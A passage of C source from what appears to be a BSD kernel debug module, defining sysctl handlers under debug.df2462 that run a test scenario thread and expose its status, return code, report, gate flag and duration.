	kthread_create(dfh_runner_thread, (void *)(intptr_t)v,
		       &dfh_trunner, "dfhrun");
	return 0;
}

static int
dfh_sysctl_busy(SYSCTL_HANDLER_ARGS)
{
	int v = dfh_scenario_busy;

	return sysctl_handle_int(oidp, &v, 0, req);
}

static int
dfh_sysctl_rc(SYSCTL_HANDLER_ARGS)
{
	int v = dfh_scenario_rc;

	return sysctl_handle_int(oidp, &v, 0, req);
}

static int
dfh_sysctl_out(SYSCTL_HANDLER_ARGS)
{
	return SYSCTL_OUT(req, dfh_out, dfh_out_len);
}

static int
dfh_sysctl_s6done(SYSCTL_HANDLER_ARGS)
{
	int v = 0, error;

	error = sysctl_handle_int(oidp, &v, 0, req);
	kprintf("DF2462DBG s6done: v=%d newptr=%p\n", v,
		req->newptr ? req->newptr : 0);
	if (error != 0 || req->newptr == NULL)
		return error;
	if (v)
		dfh_gate_set(&dfh_s6done, 1);
	return 0;
}

static int
dfh_sysctl_s7ms(SYSCTL_HANDLER_ARGS)
{
	int v = dfh_s7_ms, error;

	error = sysctl_handle_int(oidp, &v, 0, req);
	if (error != 0 || req->newptr == NULL)
		return error;
	dfh_s7_ms = v;
	return 0;
}

SYSCTL_PROC(_debug_df2462, OID_AUTO, run, CTLTYPE_INT | CTLFLAG_RW,
	    0, 0, dfh_sysctl_run, "I", "run scenario");
SYSCTL_PROC(_debug_df2462, OID_AUTO, busy, CTLTYPE_INT | CTLFLAG_RD,
	    0, 0, dfh_sysctl_busy, "I", "scenario running");
SYSCTL_PROC(_debug_df2462, OID_AUTO, rc, CTLTYPE_INT | CTLFLAG_RD,
	    0, 0, dfh_sysctl_rc, "I", "last scenario return code");
SYSCTL_PROC(_debug_df2462, OID_AUTO, out, CTLTYPE_STRING | CTLFLAG_RD,
	    0, 0, dfh_sysctl_out, "A", "collected report");
SYSCTL_PROC(_debug_df2462, OID_AUTO, s6done, CTLTYPE_INT | CTLFLAG_RW,
	    0, 0, dfh_sysctl_s6done, "I", "S6 userland reads done");
SYSCTL_PROC(_debug_df2462, OID_AUTO, s7ms, CTLTYPE_INT | CTLFLAG_RW,
	    0, 0, dfh_sysctl_s7ms, "I", "S7 duration (ms)");
